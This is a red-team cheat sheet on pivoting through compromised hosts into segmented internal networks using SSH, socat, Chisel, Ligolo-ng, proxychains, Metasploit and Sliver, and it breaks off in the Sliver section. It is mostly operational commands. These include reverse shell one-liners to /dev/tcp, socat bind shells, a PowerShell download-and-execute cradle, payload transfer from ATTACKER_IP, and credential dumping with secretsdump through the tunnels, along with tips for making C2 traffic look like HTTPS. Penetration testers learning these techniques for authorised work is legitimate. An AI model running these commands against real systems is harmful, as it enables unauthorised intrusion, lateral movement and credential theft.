Legend:
[ATK]= Run on attacker machine[PIVOT]= Run on compromised pivot host[TARGET]= Run on final target[C2]= Run in C2 framework console
1. Concepts & Terminology
1.1 What is Pivoting?
Pivoting is the technique of using a compromised machine as a relay to reach network segments that your attacker machine cannot directly access. Real enterprise networks are segmented — the DMZ cannot reach the internal LAN, the workstation VLAN cannot reach the server VLAN, the OT network is isolated from corporate infrastructure. Pivoting lets you chain through these segments by exploiting the trust relationships and dual-homed nature of intermediate hosts.
1.2 Network Segmentation Model
Internet
|
v
Attacker (Kali) <-- direct access to DMZ only
|
| (direct: 10.10.10.0/24)
v
+---------------------------------------------------+
| DMZ — 10.10.10.0/24 |
| |
| WEB01 10.10.10.5 |
| 192.168.1.5 <-- dual-homed (PIVOT 1) |
+---------------------------------------------------+
|
| (reachable only through WEB01)
v
+---------------------------------------------------+
| Internal LAN — 192.168.1.0/24 |
| NOT directly reachable from attacker |
| |
| DC01 192.168.1.10 |
| SRV01 192.168.1.20 |
| WS01 192.168.1.30 |
| 172.16.5.50 <-- dual-homed (PIVOT 2) |
+---------------------------------------------------+
|
| (reachable only through WS01)
v
+---------------------------------------------------+
| Restricted Segment — 172.16.5.0/24 |
| DB01 172.16.5.10 |
| BACKUP 172.16.5.20 |
+---------------------------------------------------+
1.3 Terminology
| Term | Definition |
|---|---|
| Port Forwarding | Relay traffic arriving at a local port to a specific remote host:port |
| SOCKS Proxy | A general proxy that routes ALL traffic to any host:port in the target network via one local endpoint |
| Tunneling | Encapsulate one protocol inside another (TCP over DNS, TCP over ICMP, TCP over HTTP) |
| Pivoting | Umbrella term — using a compromised host as a relay via any of the above methods |
| Reverse Tunnel | The compromised host initiates the outbound connection to the attacker, bypassing inbound firewall rules |
| TUN Adapter | Virtual network interface that makes a remote subnet appear directly connected at the OS level |
| Dual-homed | A host with network interfaces in two different subnets — the key requirement for a pivot |
1.4 Tool Overview
| Tool | Mechanism | Platform | Key Advantage |
|---|---|---|---|
| SSH | Built-in port fwd + SOCKS | Linux / Windows | Zero setup if SSH is present; encrypted |
| socat | TCP/UDP relay | Linux | Pre-installed on most Linux systems; no binary transfer |
| sshuttle | Transparent VPN over SSH | Linux | No proxychains; DNS routing included |
| Chisel | TCP tunnel over HTTP | Linux / Windows | Reverse SOCKS; bypasses inbound firewall |
| Ligolo-ng | TUN adapter via agent | Linux / Windows | No proxychains; transparent routing; UDP; fastest |
| Proxychains | SOCKS client wrapper | Linux | Force any tool through a SOCKS proxy |
| Metasploit route | SOCKS via Meterpreter | Linux | Native to MSF; no extra binaries |
| Sliver socks5 | SOCKS via implant | Linux / Windows | Rides encrypted C2 channel |
| rpivot | Reverse SOCKS4 (Python) | Any (Python) | Restricted environments with Python only |
| dnscat2 | Full C2 over DNS | Linux / Windows | DNS-only egress with command execution |
| iodine | IP over DNS TUN | Linux | DNS-only egress with full IP tunnel adapter |
| ptunnel-ng | TCP over ICMP | Linux | ICMP-only egress |
2. SSH Tunneling
SSH is the first pivot option to reach for when SSH access exists on the pivot host. It supports local forwarding, remote forwarding, dynamic SOCKS, and jump-host chaining — all inside an encrypted channel with zero external dependencies.
2.1 Local Port Forwarding
Traffic arriving at LOCAL_PORT on the attacker is forwarded through the SSH session to
TARGET_IP:TARGET_PORT. The tool you run on attacker thinks it is talking to localhost.
Attacker:LOCAL_PORT ----SSH tunnel----> PIVOT -------> TARGET:TARGET_PORT
# Syntax
ssh -L <LOCAL_PORT>:<TARGET_IP>:<TARGET_PORT> <PIVOT_USER>@<PIVOT_IP>
# Access DC01 SMB (192.168.1.10:445) via attacker's port 8445
ssh -L 8445:192.168.1.10:445 user@10.10.10.5
# Connect via the tunnel — tool sees localhost
smbclient.py -p 8445 lab.local/admin:Pass123!@127.0.0.1
# Background the tunnel (-N = no shell, -f = fork to background)
ssh -L 8445:192.168.1.10:445 user@10.10.10.5 -N -f
# Multiple port forwards in one command
ssh -L 8445:192.168.1.10:445 \
-L 13389:192.168.1.10:3389 \
-L 15985:192.168.1.10:5985 \
user@10.10.10.5 -N -f
2.2 Remote Port Forwarding
The pivot binds a port that forwards traffic back to the attacker. Used to serve payloads to internal machines that cannot reach the attacker directly, or to catch reverse shells.
Internal Machine -------> PIVOT:BIND_PORT ----SSH tunnel----> Attacker:LOCAL_PORT
# Syntax
ssh -R <PIVOT_BIND_PORT>:<FORWARD_TO_IP>:<FORWARD_TO_PORT> <PIVOT_USER>@<PIVOT_IP>
# Internal machines hitting PIVOT:8080 get served attacker's port 80
# Useful to deliver payloads via the pivot's IP
ssh -R 8080:127.0.0.1:80 user@10.10.10.5 -N -f
# An internal target can then do:
# curl http://10.10.10.5:8080/payload.exe
# powershell IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.5:8080/run.ps1')
# NOTE: sshd binds remote forwards to localhost by default.
# To allow 0.0.0.0 binding so other internal hosts can reach it:
# Add "GatewayPorts yes" to /etc/ssh/sshd_config on the pivot and restart sshd.
2.3 Dynamic Port Forwarding (SOCKS Proxy)
Creates a SOCKS proxy on the attacker that routes all traffic through the pivot to any host in the internal network. The most powerful SSH pivot mode.
Attacker:1080 (SOCKS5) ----SSH tunnel----> PIVOT -------> ANY internal host:ANY port
# Create SOCKS5 proxy at attacker's 127.0.0.1:1080 via pivot
ssh -D 1080 user@<PIVOT_IP> -N -f
# Configure proxychains
echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
# Route tools through the pivot
proxychains4 nmap -sT -Pn -n -p 22,80,135,139,443,445,3389,5985 192.168.1.0/24
proxychains4 crackmapexec smb 192.168.1.10 -u admin -p 'Pass123!'
proxychains4 secretsdump.py lab.local/admin:Pass123!@192.168.1.10
proxychains4 evil-winrm -i 192.168.1.10 -u admin -p 'Pass123!'
proxychains4 bloodhound-python -d lab.local -u admin -p 'Pass123!' -ns 192.168.1.10 -c all
2.4 SSH Jump Host (-J)
Chain through multiple SSH hops in one command. SSH handles the tunneling between hops transparently — you do not need to manually forward ports between each hop.
# Single hop: attacker → PIVOT → TARGET
ssh -J user@<PIVOT_IP> user@<TARGET_IP>
# Two hops: attacker → HOP1 → HOP2 → TARGET
ssh -J user@<HOP1_IP>,user@<HOP2_IP> user@<TARGET_IP>
# Dynamic SOCKS through a jump host chain
ssh -J user@<HOP1_IP>,user@<HOP2_IP> user@<HOP3_IP> -D 1080 -N -f
# Local port forward through a jump host
ssh -J user@<PIVOT_IP> -L 8445:192.168.2.10:445 user@192.168.1.5 -N -f
2.5 SSH Config Shortcuts
Persistent config lets you use simple aliases instead of typing full flags every time.
# ~/.ssh/config
Host pivot
HostName 10.10.10.5
User user
IdentityFile ~/.ssh/id_rsa
ServerAliveInterval 60
ServerAliveCountMax 3
Host internal-dc
HostName 192.168.1.10
User Administrator
ProxyJump pivot
LocalForward 8445 192.168.1.10:445
LocalForward 13389 192.168.1.10:3389
Host internal-ws01
HostName 192.168.1.30
User user
ProxyJump pivot
# Usage
ssh pivot # direct to pivot
ssh internal-dc # auto-jumps through pivot; sets up port forwards
ssh -N internal-dc # port forwards only, no shell
2.6 Reverse SSH Tunnel (Pivot Calls Back)
Use when the pivot is behind NAT or a firewall and cannot receive inbound connections. The pivot initiates the outbound SSH connection; the attacker then uses the resulting tunnel.
# On pivot — connect to attacker, expose pivot's port 22 on attacker's port 2222
[PIVOT] ssh -R 2222:127.0.0.1:22 attacker@<ATTACKER_IP> -N -f
# On attacker — SSH to localhost:2222 reaches the pivot
[ATK] ssh -p 2222 user@127.0.0.1
# With reverse SOCKS proxy (pivot calls back with SOCKS)
[PIVOT] ssh -R 1080 attacker@<ATTACKER_IP> -N -f
# Attacker uses proxychains → 127.0.0.1:1080 → pivot → internal network
# Persistent with autossh (auto-reconnects on drop)
[PIVOT] autossh -M 0 -R 2222:127.0.0.1:22 attacker@<ATTACKER_IP> \
-o "ServerAliveInterval 30" -N -f
2.7 sshuttle — Transparent VPN-like Tunnel
sshuttle creates transparent routing over SSH — no proxychains needed, works with DNS, and handles UDP (partially). Requires Python on the pivot; no binary transfer needed.
# Route entire internal subnet transparently through the pivot
[ATK] sshuttle -r user@<PIVOT_IP> 192.168.1.0/24
# Multiple subnets
[ATK] sshuttle -r user@<PIVOT_IP> 192.168.1.0/24 172.16.5.0/24
# Route DNS through the tunnel as well (resolves internal hostnames)
[ATK] sshuttle -r user@<PIVOT_IP> --dns 192.168.1.0/24
# With SSH key
[ATK] sshuttle -r user@<PIVOT_IP> --ssh-cmd "ssh -i ~/.ssh/id_rsa" 192.168.1.0/24
3. Socat
3.1 What is Socat?
socat (SOcket CAT) is a bidirectional data relay tool that connects two arbitrary data streams. It is pre-installed on the vast majority of Linux systems, which means it is often available on compromised hosts without any binary transfer. In a pivoting context it acts as a lightweight single-port relay — the poor man's Ligolo-ng.
socat is built around the concept of address types. A socat command always has the form:
socat [options] <ADDRESS_1> <ADDRESS_2>
Data flows bidirectionally between ADDRESS_1 and ADDRESS_2.
Address types used in pivoting:
| Address | Meaning |
|---|---|
TCP-LISTEN:<port>,fork |
Listen on a TCP port. fork spawns a child per connection, allowing concurrency |
TCP:<host>:<port> |
Connect to a TCP host:port |
UDP-LISTEN:<port>,fork |
Listen on a UDP port |
UDP:<host>:<port> |
Connect to UDP host:port |
SSL-LISTEN:<port>,cert=<pem>,verify=0,fork |
Listen with TLS; verify=0 skips client cert check |
OPENSSL:<host>:<port>,verify=0 |
Connect with TLS (skip cert verification) |
EXEC:<command> |
Fork and execute a command; wire its stdin/stdout into the relay |
FILE:<path> |
Read from or write to a file |
STDIN / STDOUT |
Standard I/O |
3.2 Basic TCP Port Relay
The most common use case — relay all TCP traffic from a port on the pivot to an internal host. No SOCKS involved, no special tools — just socat bridging two TCP connections.
Attacker ------> PIVOT:LOCAL_PORT -(socat relay)-> TARGET:TARGET_PORT
# Syntax (run on pivot)
socat TCP-LISTEN:<LOCAL_PORT>,fork TCP:<TARGET_IP>:<TARGET_PORT>
# Relay pivot's port 8445 to DC01's SMB
[PIVOT] socat TCP-LISTEN:8445,fork TCP:192.168.1.10:445 &
# Attacker connects to PIVOT_IP:8445 which forwards to DC01:445
[ATK] smbclient.py -p 8445 lab.local/admin:Pass123!@<PIVOT_IP>
# Relay an internal web server
[PIVOT] socat TCP-LISTEN:8080,fork TCP:192.168.1.20:80 &
# Multiple relays (each runs as a background job)
[PIVOT] socat TCP-LISTEN:8445,fork TCP:192.168.1.10:445 &
[PIVOT] socat TCP-LISTEN:13389,fork TCP:192.168.1.10:3389 &
[PIVOT] socat TCP-LISTEN:15985,fork TCP:192.168.1.10:5985 &
# Bind relay to a specific interface only (restrict who can connect)
[PIVOT] socat TCP-LISTEN:8445,bind=10.10.10.5,fork TCP:192.168.1.10:445 &
3.3 UDP Relay
Proxychains is TCP-only. For UDP services (DNS, SNMP, NTP), socat is the only clean option without Ligolo-ng.
# Relay DNS queries through pivot to the internal DNS server
[PIVOT] socat UDP-LISTEN:5353,fork UDP:192.168.1.10:53 &
[ATK] dig @<PIVOT_IP> -p 5353 lab.local
# SNMP relay
[PIVOT] socat UDP-LISTEN:1611,fork UDP:192.168.1.20:161 &
[ATK] snmpwalk -v2c -c public <PIVOT_IP>:1611
# UDP-to-TCP bridging (protocol type conversion)
# Receive UDP, forward as TCP (useful when the next hop only accepts TCP)
[PIVOT] socat UDP-LISTEN:9999,fork TCP:127.0.0.1:9999 &
3.4 SSL/TLS Encrypted Relay
Wrap the relay in TLS to avoid plaintext credential interception by IDS/NDR. Useful when passing NTLM hashes, Kerberos tickets, or other sensitive data through an untrusted path.
# Step 1: Generate a self-signed cert on attacker
[ATK] openssl req -newkey rsa:2048 -nodes \
-keyout relay.key -x509 -days 30 \
-out relay.crt -subj "/CN=relay"
[ATK] cat relay.crt relay.key > relay.pem
# Transfer relay.pem to pivot
# Step 2: SSL listener on pivot — accepts encrypted connections, forwards plaintext to target
[PIVOT] socat \
SSL-LISTEN:8443,cert=relay.pem,verify=0,fork \
TCP:192.168.1.10:445
# Step 3: On attacker — local plaintext endpoint that connects to pivot via SSL
[ATK] socat \
TCP-LISTEN:8445,fork \
OPENSSL:<PIVOT_IP>:8443,verify=0
# Traffic flow:
# Attacker tool → localhost:8445 (plaintext)
# → socat → PIVOT:8443 (TLS encrypted)
# → socat → DC01:445 (plaintext on internal LAN)
[ATK] smbclient.py -p 8445 lab.local/admin:Pass123!@127.0.0.1
3.5 Reverse Shell Relay
The most critical socat use case in post-exploitation: an internal machine cannot reach the attacker directly, but it can reach the pivot. Socat sits on the pivot and forwards the shell.
Attacker:4444 (nc -lvnp 4444)
^
| socat relay (pivot catches and forwards)
|
PIVOT:4444 (socat listener)
^
| reverse shell connection from internal machine
|
TARGET (192.168.1.20) — shells back to PIVOT_IP:4444
# Step 1: Start listener on attacker
[ATK] nc -lvnp 4444
# Step 2: Set up relay on pivot — catch connections on pivot:4444, relay to attacker:4444
[PIVOT] socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444 &
# Step 3: Trigger reverse shell on target — target connects to PIVOT, not attacker
# Linux one-liner (LHOST = PIVOT_IP)
[TARGET] bash -i >& /dev/tcp/<PIVOT_IP>/4444 0>&1
# Windows PowerShell payload (LHOST = PIVOT_IP)
[TARGET] powershell -e <base64_payload_with_LHOST=PIVOT_IP>
# The shell arrives at attacker's nc listener via the socat relay
# Works with MSF handler too:
[ATK] msfconsole -q -x \
"use multi/handler; \
set PAYLOAD linux/x64/shell_reverse_tcp; \
set LHOST 127.0.0.1; \
set LPORT 4444; \
run"
3.6 Multi-hop Socat Chaining
When no other pivot tool is available, chain socat instances across multiple hops.
Attacker -----> PIVOT1:9001 -(socat)-> PIVOT2:9002 -(socat)-> TARGET:445
# PIVOT2 relays port 9002 to the final target
[PIVOT2] socat TCP-LISTEN:9002,fork TCP:172.16.5.10:445 &
# PIVOT1 relays port 9001 to PIVOT2:9002
[PIVOT1] socat TCP-LISTEN:9001,fork TCP:192.168.1.30:9002 &
# Attacker connects to PIVOT1:9001 and reaches the target through both hops
[ATK] smbclient.py -p 9001 domain/user:pass@<PIVOT1_IP>
# Reverse shell through two hops:
# Start attacker listener
[ATK] nc -lvnp 4444
# PIVOT2: relay pivot2:4444 back to attacker
[PIVOT2] socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444 &
# PIVOT1: relay pivot1:4444 to pivot2:4444
[PIVOT1] socat TCP-LISTEN:4444,fork TCP:192.168.1.30:4444 &
# Target connects to PIVOT1 (the innermost hop it can reach)
[TARGET] bash -i >& /dev/tcp/<PIVOT1_IP>/4444 0>&1
# Shell travels: TARGET → PIVOT1 → PIVOT2 → Attacker
3.7 File Transfer via Socat
Useful when wget/curl are unavailable on the pivot or target.
# Receiver — waits for incoming file
[ATK] socat TCP-LISTEN:9999 FILE:received_agent.exe,create
# Sender — pushes the file
[PIVOT] socat TCP:<ATTACKER_IP>:9999 FILE:/path/to/agent.exe
# Verify sizes match (quick integrity check)
[ATK] wc -c received_agent.exe
[PIVOT] wc -c /path/to/agent.exe
3.8 Socat as a Bind Shell
Spawn a shell and expose it on a TCP port. Useful when you need a bind shell relayed through a pivot, or as an upgraded listener.
# Linux bind shell on port 5555
[TARGET] socat TCP-LISTEN:5555,fork EXEC:/bin/bash,pty,stderr,setsid &
# Windows bind shell
[TARGET] socat TCP-LISTEN:5555,fork EXEC:'cmd.exe',pipes
# Attacker connects with a proper TTY
[ATK] socat FILE:`tty`,raw,echo=0 TCP:<TARGET_IP>:5555
# With the pty option on the server side, you get a real interactive terminal
# (no need for the python pty.spawn() trick)
3.9 Tips & Persistent Execution
# Background with nohup (survives SSH session termination)
[PIVOT] nohup socat TCP-LISTEN:8445,fork TCP:192.168.1.10:445 \
> /dev/null 2>&1 &
echo "PID: $!" # record PID for cleanup
# Verbose mode — logs each connection (useful for debugging)
[PIVOT] socat -v TCP-LISTEN:8445,fork TCP:192.168.1.10:445
# With connection timeout (auto-close idle sessions)
[PIVOT] socat TCP-LISTEN:8445,fork TCP:192.168.1.10:445,connect-timeout=60
# Check what socat processes are running
[PIVOT] ss -tlnp | grep socat
[PIVOT] ps aux | grep socat
# Kill all socat instances on pivot (cleanup)
[PIVOT] pkill socat
# Kill a specific socat by PID
[PIVOT] kill <PID>
4. Chisel
Chisel is a fast TCP tunnel built in Go that runs over HTTP with SSH as the cryptographic transport. The entire tool ships as a single statically-compiled binary for both the server (attacker) and the client (pivot). The critical capability is reverse SOCKS — the pivot connects outbound to the attacker's server, bypassing inbound firewall rules. Traffic is indistinguishable from normal HTTP on default ports.
4.1 Setup & Binary Transfer
# Download from https://github.com/jpillora/chisel/releases
# Linux attacker
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_linux_amd64.gz
gunzip chisel_linux_amd64.gz && mv chisel_linux_amd64 chisel && chmod +x chisel
# Transfer to Linux pivot
[ATK] python3 -m http.server 8000
[PIVOT] wget http://<ATTACKER_IP>:8000/chisel -O chisel && chmod +x chisel
# Transfer to Windows pivot
[PIVOT-Win] certutil -urlcache -split -f http://<ATTACKER_IP>:8000/chisel.exe chisel.exe
[PIVOT-Win] powershell -c "iwr http://<ATTACKER_IP>:8000/chisel.exe -o chisel.exe"
[PIVOT-Win] bitsadmin /transfer job /download /priority normal ^
http://<ATTACKER_IP>:8000/chisel.exe %TEMP%\chisel.exe
4.2 Reverse SOCKS5 (Most Common Setup)
The pivot can only make outbound connections. It connects to the attacker's chisel server and establishes a reverse SOCKS tunnel.
Attacker (chisel server) <-- outbound HTTP/8080 -- PIVOT (chisel client)
| |
SOCKS5:127.0.0.1:1080 accesses internal net
# Step 1: Start chisel server on attacker
[ATK] ./chisel server --port 8080 --reverse --socks5
# Step 2: Start chisel client on pivot — pivot initiates outbound connection
[PIVOT-Linux] ./chisel client <ATTACKER_IP>:8080 R:socks
[PIVOT-Win] .\chisel.exe client <ATTACKER_IP>:8080 R:socks
# Server output confirms: "session#1: tun: proxy#R:127.0.0.1:1080=>socks"
# Step 3: Configure proxychains
[ATK] echo "socks5 127.0.0.1 1080" >> /etc/proxychains4.conf
# Step 4: Route tools
[ATK] proxychains4 nmap -sT -Pn -n 192.168.1.0/24
[ATK] proxychains4 secretsdump.py lab.local/admin:Pass123!@192.168.1.10
[ATK] proxychains4 certipy find -u admin@lab.local -p Pass123! -dc-ip 192.168.1.10
4.3 Forward SOCKS5
Attacker can reach the pivot directly. Pivot runs the server; attacker connects in.
# Step 1: Chisel server on pivot
[PIVOT] ./chisel server --port 8080 --socks5
# Step 2: Attacker connects
[ATK] ./chisel client <PIVOT_IP>:8080 socks
# SOCKS5 at attacker's 127.0.0.1:1080
4.4 Specific Port Forwarding
# Reverse port forward — forward a specific internal port to the attacker
# Format: R:<attacker_local_port>:<target_host>:<target_port>
[ATK] ./chisel server --port 8080 --reverse
[PIVOT] ./chisel client <ATTACKER_IP>:8080 R:3306:192.168.1.50:3306
# Attacker reaches 192.168.1.50:3306 via localhost:3306
# Forward port forward — pivot forwards specific port to attacker
# Format: <attacker_local_port>:<target_host>:<target_port>
[PIVOT] ./chisel server --port 8080
[ATK] ./chisel client <PIVOT_IP>:8080 9090:192.168.1.50:445
# attacker's port 9090 → 192.168.1.50:445
# Multiple tunnels in a single client connection
[PIVOT] ./chisel client <ATTACKER_IP>:8080 \
R:8445:192.168.1.10:445 \
R:13389:192.168.1.10:3389 \
R:15985:192.168.1.10:5985
4.5 TLS & Port 443 Evasion
# Run on port 443 with TLS — traffic looks like HTTPS
[ATK] ./chisel server --port 443 --reverse --socks5 --tls-domain yourdomain.com
[PIVOT] ./chisel client https://<ATTACKER_IP>:443 R:socks
# Add authentication — prevents unauthorized use of your chisel server
[ATK] ./chisel server --port 443 --reverse --socks5 --auth user:password
[PIVOT] ./chisel client --auth user:password <ATTACKER_IP>:443 R:socks
5. Ligolo-ng
Ligolo-ng is the most capable and ergonomic pivot tool. Instead of routing tools through proxychains (TCP-only, slow, hooking failures), Ligolo-ng creates a virtual TUN network adapter on the attacker. The internal network appears as if it is directly connected at the OS level. Every tool — nmap with SYN scans, Burp Suite, Firefox, xfreerdp — works natively without any wrapper.
Architecture:
+---------------------+ TLS/11601 +---------------------+
| ATTACKER |<--------------------| PIVOT |
| | | |
| ./ligolo-proxy | (agent connects | ./ligolo-agent |
| ligolo TUN adapter | outbound) | |
| 192.168.1.0/24 via | +---------------------+
| TUN — direct access | |
| | Internal Network
+---------------------+ 192.168.1.0/24
5.1 Download
# https://github.com/nicocha30/ligolo-ng/releases
# proxy = runs on attacker agent = runs on pivot
# Attacker binary
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/proxy_linux_amd64
chmod +x proxy_linux_amd64 && mv proxy_linux_amd64 ligolo-proxy
# Pivot binary (Linux or Windows)
wget https://github.com/nicocha30/ligolo-ng/releases/latest/download/agent_linux_amd64
chmod +x agent_linux_amd64 && mv agent_linux_amd64 ligolo-agent
# Windows: agent_windows_amd64.exe
5.2 Full Setup Walkthrough
# ─── STEP 1: Create TUN adapter on attacker (one time per session) ───
[ATK] sudo ip tuntap add user $USER mode tun ligolo
[ATK] sudo ip link set ligolo up
# ─── STEP 2: Start the proxy (server) on attacker ───
# -selfcert auto-generates a self-signed TLS cert
[ATK] ./ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# ─── STEP 3: Deploy and run the agent on the pivot ───
[PIVOT-Linux] ./ligolo-agent -connect <ATTACKER_IP>:11601 -ignore-cert
[PIVOT-Win] .\agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
# ─── STEP 4: In the ligolo-ng interactive console (new tab) ───
ligolo-ng >> session # list connected agents
ligolo-ng >> 1 # select session by number
ligolo-ng >> start # activate the tunnel
# ─── STEP 5: Add a route for the internal subnet ───
[ATK] sudo ip route add 192.168.1.0/24 dev ligolo
# ─── STEP 6: Use internal hosts directly — no proxychains ───
[ATK] nmap -sS -sV -p 22,80,135,139,443,445,3389,5985 192.168.1.10
[ATK] secretsdump.py lab.local/admin:Pass123!@192.168.1.10
[ATK] evil-winrm -i 192.168.1.10 -u admin -p 'Pass123!'
[ATK] curl http://192.168.1.20
[ATK] firefox http://192.168.1.20 # browser works
[ATK] xfreerdp /v:192.168.1.10 /u:admin # RDP works
[ATK] certipy find -u admin@lab.local -p Pass123! -dc-ip 192.168.1.10
5.3 Multiple Segments — Double Pivot
After pivoting through PIVOT1 to 192.168.1.0/24, a machine in that subnet (PIVOT2) has access to a deeper segment. Because the ligolo route is already in place, PIVOT2 can reach the attacker directly to establish its own tunnel session.
# After completing HOP 1 (PIVOT1 connected, route for 192.168.1.0/24 added):
# Deploy agent on PIVOT2 (192.168.1.30) — it reaches attacker via the existing ligolo route
[PIVOT2] ./agent.exe -connect <ATTACKER_IP>:11601 -ignore-cert
# In ligolo-ng console — a second session appears
ligolo-ng >> session # select PIVOT2 session
ligolo-ng >> start # tunnel switches to PIVOT2
# Add route for the deeper segment
[ATK] sudo ip route add 172.16.5.0/24 dev ligolo
# Attacker can now reach 172.16.5.0/24 directly
[ATK] nmap -sS 172.16.5.10
[ATK] secretsdump.py lab.local/admin:Pass123!@172.16.5.10
5.4 Listeners — Receiving Reverse Shells from Internal Machines
Internal machines need to connect back to the pivot (not the attacker directly). Ligolo's
listener_add binds a port on the pivot and forwards connections through the tunnel to the
attacker's local port.
Attacker:4444 (nc listener)
^
| ligolo listener tunnel
|
PIVOT:4444 (listener_add binds here)
^
| reverse shell from target
|
TARGET (192.168.1.20) — payload LHOST = PIVOT_IP
# In ligolo-ng console — bind port 4444 on pivot, forward to attacker:4444
ligolo-ng >> listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
# Start listener on attacker
[ATK] nc -lvnp 4444
# or MSF handler pointing to 127.0.0.1:4444
# Trigger reverse shell on target — LHOST = PIVOT_IP
[TARGET] bash -i >& /dev/tcp/<PIVOT_IP>/4444 0>&1
# The connection goes: TARGET → PIVOT:4444 → tunnel → Attacker:4444
# Manage listeners
ligolo-ng >> listener_list # view active listeners
ligolo-ng >> listener_rm 0 # remove listener by ID
5.5 Cleanup
[ATK] sudo ip route del 192.168.1.0/24 dev ligolo
[ATK] sudo ip route del 172.16.5.0/24 dev ligolo
[ATK] sudo ip link set ligolo down
[ATK] sudo ip link del ligolo
6. Proxychains
Proxychains intercepts TCP network library calls at runtime via LD_PRELOAD and routes them
through a configured SOCKS4/5 or HTTP proxy. It is the glue layer between your SOCKS endpoint
(SSH, Chisel, Sliver, MSF) and your attack tools. It does not modify the tools themselves.
6.1 Configuration
# /etc/proxychains4.conf
# Chain modes:
# strict_chain — all proxies must succeed; ordered; fails if any is down
# dynamic_chain — skips dead proxies (more reliable in practice)
# random_chain — randomise order (for anonymity, not useful in CTF)
# Recommended red team configuration:
dynamic_chain
quiet_mode # suppress per-connection output
proxy_dns # resolve DNS through the proxy (prevents leaks)
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 1080 # your chisel / SSH / Sliver SOCKS endpoint
6.2 Usage with Common Tools
# nmap — TCP connect scan ONLY
# proxychains cannot do raw sockets, so no SYN scan (-sS), no ping (-PE)
proxychains4 nmap -sT -Pn -n -p 22,80,135,139,443,445,3389,5985 192.168.1.10
proxychains4 nmap -sT -Pn -n --open -p 445 192.168.1.0/24 # subnet sweep
# Impacket
proxychains4 secretsdump.py lab.local/admin:Pass123!@192.168.1.10
proxychains4 wmiexec.py lab.local/admin:Pass123!@192.168.1.10
proxychains4 psexec.py lab.local/admin:Pass123!@192.168.1.10
proxychains4 smbclient.py lab.local/admin:Pass123!@192.168.1.10
# evil-winrm
proxychains4 evil-winrm -i 192.168.1.10 -u admin -p 'Pass123!'
# NetExec / CrackMapExec
proxychains4 nxc smb 192.168.1.0/24 -u admin -p 'Pass123!'
proxychains4 nxc winrm 192.168.1.10 -u admin -p 'Pass123!'
# BloodHound-python
proxychains4 bloodhound-python -d lab.local -u admin -p 'Pass123!' \
-ns 192.168.1.10 -c all
# Certipy
proxychains4 certipy find -u admin@lab.local -p 'Pass123!' -dc-ip 192.168.1.10
# curl / wget
proxychains4 curl http://192.168.1.20
proxychains4 wget http://192.168.1.20/file.txt
# SSH through the proxy
proxychains4 ssh user@192.168.1.10
# Entire msfconsole through proxy
proxychains4 msfconsole
6.3 Chained Proxies (Multi-hop)
# Two proxies chained — hop 1 leads to 192.168.1.0/24, hop 2 leads deeper
[ProxyList]
socks5 127.0.0.1 1080 # hop 1 — via PIVOT1
socks5 127.0.0.1 1081 # hop 2 — via PIVOT2 (routed through hop 1)
# Traffic path: attacker → 1080 → 1081 → target
6.4 Limitations
| Limitation | Impact | Workaround |
|---|---|---|
| TCP only | UDP tools fail | socat for UDP relay; Ligolo-ng |
| No ICMP | ping fails; nmap host discovery fails | -Pn in nmap; Ligolo-ng |
| Raw socket bypass | Statically compiled tools may bypass LD_PRELOAD | Ligolo-ng (OS-level routing) |
| No SYN scan | nmap -sS does not work | Use -sT; or Ligolo-ng for full nmap |
| DNS leaks | Hostnames resolve locally, leaking internal names | Set proxy_dns in config |
| Slow | Sequential overhead on each connection | Ligolo-ng for performance |
7. Metasploit Pivoting
If a Meterpreter session exists on the pivot, Metasploit can route traffic and expose a SOCKS proxy natively — no external binary needed on the pivot.
7.1 Route via Meterpreter Session
# After obtaining a Meterpreter session on the pivot
meterpreter > ipconfig
# Note: 192.168.1.5 / 255.255.255.0 (internal interface)
meterpreter > background
# Add route — all MSF modules targeting that subnet route through this session
msf6 > route add 192.168.1.0/24 <SESSION_ID>
msf6 > route print
# Scan internally via MSF modules
msf6 > use auxiliary/scanner/portscan/tcp
msf6 > set RHOSTS 192.168.1.0/24
msf6 > set PORTS 22,80,135,139,443,445,3389,5985
msf6 > run
7.2 AutoRoute — Automatic Subnet Discovery
# Discovers and adds routes for all subnets visible to the pivot
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION <SESSION_ID>
msf6 > run
msf6 > route print # verify added routes
7.3 SOCKS Proxy via Metasploit
# Start SOCKS5 proxy — usable by any tool, not just MSF
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVHOST 127.0.0.1
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j # run as background job
# Configure proxychains then use any external tool
[ATK] proxychains4 nmap -sT -Pn 192.168.1.10
[ATK] proxychains4 secretsdump.py lab.local/admin:Pass123!@192.168.1.10
7.4 Port Forwarding via Meterpreter
# Map attacker local port to internal target port
meterpreter > portfwd add -l 8445 -p 445 -r 192.168.1.10
meterpreter > portfwd add -l 13389 -p 3389 -r 192.168.1.10
meterpreter > portfwd add -l 15985 -p 5985 -r 192.168.1.10
# attacker:8445 → 192.168.1.10:445
# attacker:13389 → 192.168.1.10:3389
# Manage
meterpreter > portfwd list
meterpreter > portfwd delete -l 8445
meterpreter > portfwd flush # remove all
8. Sliver Pivoting
Sliver pivoting works through active sessions only (not beacons). All pivot traffic rides inside the existing encrypted C2 channel — no new ports opened on attacker or pivot for the SOCKS proxy.
# SOCKS5 proxy via Sliver session
[session] sliver > socks5 start --host 127.0.0.1 --port 1080
[session] sliver > socks5 # list active proxies
# Route tools via proxychains
proxychains4 nxc smb 192.168.1.0/24 -u admin -p 'Pass123!'
proxychains4 bloodhound-python -d lab.local -u admin -p pass -ns 192.168.1.10 -c all
# Port forward: attacker local port → internal target
[session] sliver > portfwd add -b 127.0.0.1:8445 --remote 192.168.1.10:445
[session] sliver > portfwd add -b 127.0.0.1:13389 --remote 192.168.1.10:3389
[session] sliver > portfwd # list
[session] sliver > portfwd rm <ID> # remove
# TCP pivot listener — chain implants without direct C2 access from inner machines
# Pivot binds a TCP listener; inner implants route through pivot → C2
[session] sliver > pivots tcp --bind <PIVOT_IP>:9090
# Generate beacon that connects via TCP pivot (not directly to C2)
